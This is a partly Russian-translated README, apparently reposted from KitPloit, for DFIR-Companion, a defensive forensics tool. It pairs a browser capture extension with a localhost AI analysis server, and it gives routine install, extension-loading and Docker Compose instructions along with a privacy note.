├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/             Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.

Как всё это связано```

Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘

root@kitploit:~
**Двухфазный анализ:** дешёвая vision-модель считывает каждый скриншот в судебную
временную шкалу; более сильная модель выполняет единственный целостный синтезирующий
вызов (находки, MITRE, путь атакующего, вопросы). Настройте обе через `.env` — см. `companion/README.md`.

## Быстрый старт

> **Предварительное требование:** [Node.js](https://nodejs.org/) **22.19 или новее** (поставляется с `npm`).
> Проверьте командой `node --version`. Всё ниже использует `npm`, поэтому другой рантайм не нужен.
> Индексированное хранилище кейсов использует встроенный модуль `node:sqlite`, поэтому более старые версии Node не могут открывать
> кейсы. Портативная сборка включает совместимый рантайм.

1. **Companion** (сервер):   ```
   git clone https://github.com/hasamba/DFIR-Companion.git
   cd DFIR-Companion/companion
   npm install
   cp .env.example .env      # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
   npm run dev               # serves http://127.0.0.1:4773  (dashboard at /dashboard)
  1. Расширение (захват):

    Самый простой способ: установите напрямую из Chrome Web Store. На Firefox 140+ скачайте dfir-capture-extension-firefox-*.zip из последнего релиза и распакуйте его.

    Или соберите из исходного кода: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json

    root@kitploit:~

В Firefox загрузите его из about:debugging#/runtime/this-firefox → Load Temporary Add-on… и выберите файл manifest.json (Chrome запрашивает папку; Firefox — нет). Firefox удаляет временные дополнения при перезапуске, поэтому повторяйте это каждую сессию — в AMO пока нет листинга, поэтому релизный zip не подписан и не может быть установлен навсегда.

Что он собирает, раз временная загрузка никогда не спрашивает. Firefox показывает своё уведомление о сборе данных только для подписанного дополнения, установленного обычным способом; about:debugging предоставляет всё молча. Расширение объявляет активность браузера (захват несёт URL и заголовок вкладки) и содержимое веб-сайтов (скриншот и строки, которые собирает Push). Расширение отправляет их на настроенный вами адрес компаньона и больше никуда; что этот компаньон пересылает дальше — модель зрения читает скриншоты, AI-синтез читает строки, обогащение запрашивает сервисы репутации — это собственная конфигурация компаньона. См. extension/PRIVACY.md.

Всплывающее окно только прикрепляется к существующему кейсу — кейсы вы создаёте в дашборде.

  1. Откройте http://127.0.0.1:4773/dashboard, нажмите + New case, чтобы создать кейс (он подключается автоматически). Затем во всплывающем окне расширения выберите этот кейс в выпадающем списке Case (Refresh cases, если его ещё нет в списке) и нажмите Start. Просматривайте свои доказательства — дашборд обновляется в реальном времени.

Обновляете существующую копию репозитория? После git pull повторно запустите npm install в обоих каталогах companion/ и extension/ — новые функции могут добавлять зависимости (например, редактирование OCR скриншотов добавило tesseract.js). Затем перезапустите npm run dev (код сервера загружается один раз при запуске).

Полная конфигурация, HTTP-эндпоинты, структура папки кейса и модель анализа описаны в companion/README.md.

Docker / Docker Compose

Запустите всё целиком — сервер-компаньон + дашборд + браузерное дополнение — в одном контейнере. Ollama или LiteLLM не входят в комплект; для AI вы направляете DFIR_AI_* на любой OpenAI-совместимый эндпоинт (модель, которую вы хостите, удалённый провайдер или Ollama/LiteLLM, запущенные отдельно). Если AI не настроен, контейнер всё равно выполняет полный захват и все детерминированные импортёры.

Предварительное требование: Docker с плагином Compose (docker compose version).

Только localhost по замыслу: контейнер внутри привязывается к 0.0.0.0, но Compose публикует порт на 127.0.0.1 на вашем хосте — поэтому дашборд никогда не доступен в вашей сети.

  1. Запустите его (сборка из исходников): ``` git clone https://github.com/hasamba/DFIR-Companion.git cd DFIR-Companion docker compose up -d --build # → http://127.0.0.1:4773/dashboard
    root@kitploit:~

Или загрузите готовый образ из GHCR вместо сборки: ``` docker compose pull && docker compose up -d

image: ghcr.io/hasamba/dfir-companion:latest

root@kitploit:~
2. **Загрузите аддон** (захват). Контейнер записывает предварительно собранное, распакованное расширение в
`./addon` при первом запуске. В Chrome/Comet откройте `chrome://extensions`, включите **Режим
разработчика**, нажмите **Загрузить распакованное расширение** и выберите **`./addon/dist`** (упакованный
`dfir-companion-extension.zip` также помещается туда).

3. Откройте `http://127.0.0.1:4773/dashboard`, нажмите **+ Новый кейс**, затем выберите этот кейс во
всплывающем окне расширения и нажмите **Start**.

**Данные и конфигурация:**
- Доказательства и состояние кейса сохраняются в **`./cases`** на хосте (смонтированный том) — переживают
перезапуски и пересборки образа.
- Настройте через блок `environment:` в [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml), или
раскомментируйте `env_file: - .env`, чтобы использовать файл `.env` (скопируйте `companion/.env.example`).
- Чтобы подключиться к AI-эндпоинту, работающему на хосте, используйте `http://host.docker.internal:<port>/v1`
(в Linux без Docker Desktop также раскомментируйте строку `extra_hosts` в compose-файле).

## Windows (Chocolatey)

Read more

Скачать инструмент